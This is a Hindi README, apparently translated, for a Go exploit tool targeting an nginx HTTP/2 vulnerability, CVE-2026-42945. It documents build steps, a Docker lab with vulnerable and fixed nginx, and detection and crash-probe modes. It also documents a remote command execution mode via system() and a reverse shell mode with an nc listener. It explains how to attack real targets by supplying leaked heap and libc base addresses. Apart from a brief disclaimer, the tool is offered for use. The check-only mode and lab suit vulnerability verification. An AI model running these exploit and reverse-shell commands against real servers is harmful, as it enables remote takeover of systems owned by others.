
Go-आधारित PoC टूल CVE-2026-42945 (nginx HTTP/2) के लिए, जिसमें अधिकृत वातावरणों में डिटेक्शन, क्रैश प्रोबिंग, कमांड निष्पादन और रिवर्स शेल क्षमताएं शामिल हैं।
चीनी | English
nginx HTTP/2 कार्यान्वयन (CVE-2026-42945) के लिए जांच एवं उपयोग सहायक उपकरण, जिसका उपयोग अधिकृत वातावरण में भेद्यता की उपस्थिति सत्यापित करने, सुधार प्रभाव की तुलना करने, और नियंत्रित प्रायोगिक वातावरण में PoC व्यवहार को पुनः उत्पन्न करने के लिए किया जाता है।
प्रभावित संस्करण (मोटा अनुमान): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ पहले ही ठीक कर दिया गया है।
यह रिपॉजिटरी केवल सुरक्षा अनुसंधान, भेद्यता सत्यापन और रक्षात्मक परीक्षण के लिए है।
यदि आप उपरोक्त शर्तों को स्वीकार नहीं करते हैं, तो कृपया तुरंत उपयोग बंद करें और इस रिपॉजिटरी को हटा दें।
go.mod देखें)make, golangci-lint (विकास/कोड जांच)GET /api/, POST /spray आदि) प्रकट करना चाहिए; Docker प्रयोगात्मक इमेज में पहले से निर्मित है# त्वरित निर्माण (आउटपुट bin/ में, .gitignore द्वारा अनदेखा)
make build-cmd
# या सीधे go का उपयोग करें
go build -o ./bin/cve-2026-42945 ./cmd
# एम्बेडेड संस्करण देखें
./bin/cve-2026-42945 -version
रिलीज़ बाइनरी: रिलीज़ से संबंधित प्लेटफ़ॉर्म के लिए cve-2026-42945-<os>-<arch> डाउनलोड करें (v* टैग पुश करने पर GitHub Actions द्वारा स्वचालित रूप से निर्मित)।
-target string लक्ष्य IP/होस्टनाम (डिफ़ॉल्ट 127.0.0.1)
-port int लक्ष्य पोर्ट (0=80; Docker भेद्यता संस्करण अक्सर 19321)
-docker स्थानीय Docker प्रयोगात्मक वातावरण का परीक्षण (vuln:19321, fixed:19331)
-check-only केवल जांच, exploit ट्रैफ़िक न भेजें
-probe-crash ओवरफ्लो जांच + worker क्रैश साइड-चैनल
-cmd string system() के माध्यम से निष्पादित कमांड
-shell रिवर्स शेल (-lhost आवश्यक)
-lhost string रिवर्स शेल होस्ट IP
-lport int रिवर्स शेल होस्ट पोर्ट (डिफ़ॉल्ट 4444)
-docker-profile deploy/docker से वास्तविक ढेर/libc आधार का उपयोग करें
-heap-base string ढेर आधार (हेक्साडेसिमल, जैसे 0x555555659000)
-libc-base string libc आधार (हेक्साडेसिमल)
-tries int प्रति ढेर उम्मीदवार प्रयासों की संख्या (डिफ़ॉल्ट 10)
-timeout int एकल HTTP टाइमआउट सेकंड (डिफ़ॉल्ट 5)
-v विस्तृत आउटपुट
-version संस्करण दिखाएँ और बाहर निकलें
-dockerमोड को-cmd/-shellके साथ एक साथ उपयोग नहीं किया जा सकता; एकल लक्ष्य उपयोग के लिए-port 19321निर्दिष्ट करें।
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
पहले प्रयोगात्मक कंटेनर प्रारंभ करें:
make docker-up
# या
docker compose -f deploy/docker-compose.yml up -d --build
पहली बार निर्माण में nginx कंपाइल करने में कुछ मिनट लग सकते हैं;
docker compose psमें सेवाhealthyदिखाने के बादmake test-labचलाएँ।
| सेवा | पोर्ट | विवरण |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (प्रभावित) |
| fixed | 19331 | nginx 1.30.1 (ठीक) |
बैच जांच:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
या Makefile शॉर्टकट का उपयोग करें:
make test-lab # check + probe
make cmd-exploit # vuln पर /tmp/pwned लिखें और सत्यापन कमांड दिखाएँ
प्रयोगात्मक कंटेनर ASLR बंद (setarch -R) और -docker-profile के साथ पूर्व-निर्धारित आधार पते का उपयोग करने पर सबसे अधिक सफलता दर होती है:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# सत्यापित करें कि फ़ाइल लिखी गई है या नहीं
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# टर्मिनल 1: टूल प्रारंभ करें (पृष्ठभूमि में nc सुनने का प्रयास करेगा)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# यदि nc नहीं मिला, तो कृपया दूसरा टर्मिनल खोलकर मैन्युअल रूप से सुनें:
nc -lvnp 4444
वास्तविक लक्ष्य ASLR, libc संस्करण Docker से भिन्न होने पर, आपको स्वयं आधार पते लीक या अनुमान करने होंगे:
# लक्ष्य सादा HTTP पोर्ट होना चाहिए (TLS नहीं)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] साइड-चैनल: worker असामान्य: केवल यह इंगित करता है कि worker ओवरफ्लो के कारण क्रैश हो सकता है, अकेले RCE सफलता का आधार नहीं।docker exec आदि)।cmd/ मुख्य प्रोग्राम प्रविष्टि
internal/rift/ जांच, लोड निर्माण और उपयोग तर्क
deploy/docker/ nginx 1.30.0 / 1.30.1 प्रयोगात्मक इमेज
deploy/docker-compose.yml
.github/workflows/ बहु-प्लेटफ़ॉर्म रिलीज़ निर्माण
make help # सभी make लक्ष्य देखें
make test # यूनिट परीक्षण
make lint # golangci-lint
make version # वर्तमान निर्माण संस्करण दिखाएँ
नया संस्करण जारी करें:
git tag v1.0.0
git push origin v1.0.0
इस उपकरण का उपयोग केवल उन प्रणालियों पर करें जिन पर आपको परीक्षण करने का अधिकार है। किसी भी दुरुपयोग के लिए लेखक जिम्मेदार नहीं है।
| मोड | विवरण |
|---|
-check-only | कनेक्टिविटी, सर्वर हेडर, संस्करण मोटा अनुमान, PoC एंडपॉइंट जांच |
-probe-crash | ओवरफ्लो जांच भेजें, वर्कर क्रैश साइड-चैनल के माध्यम से निर्णय लें |
-cmd | एक्सप्लॉइट लोड तैयार करें, system() के माध्यम से निर्दिष्ट कमांड निष्पादित करें |
-shell | रिवर्स शेल (-lhost आवश्यक, होस्ट पर nc आवश्यक) |
-docker | स्थानीय डॉकर प्रयोगात्मक वातावरण (vuln / fixed) का बैच परीक्षण |
| आइटम | विवरण |
|---|
| प्रोटोकॉल | केवल सादा HTTP (net.Dial + कच्चे HTTP बाइट) समर्थित, HTTPS/TLS समर्थित नहीं। TLS पोर्ट जैसे -port 443 के लिए पहले TLS समाप्ति की आवश्यकता है या HTTP पोर्ट का उपयोग करें। |
| Docker प्रयोग | इमेज linux/amd64 है, पहली बार docker compose build में nginx को स्रोत से कंपाइल करने में समय लगता है; कंटेनर में setarch -R का उपयोग कर ASLR बंद है, जो उत्पादन वातावरण से भिन्न है। |
| Apple Silicon | स्थानीय Docker platform: linux/amd64 के माध्यम से अनुकरण करता है, धीमा। |
| रिवर्स शेल | -shell सिस्टम nc पर निर्भर करता है, Windows पर मैन्युअल रूप से सुनने का सुझाव दिया जाता है। |
| उपयोग निर्णय | साइड-चैनल (worker क्रैश) RCE के बराबर नहीं है, कमांड साइड-इफेक्ट स्वतंत्र रूप से सत्यापित करें। |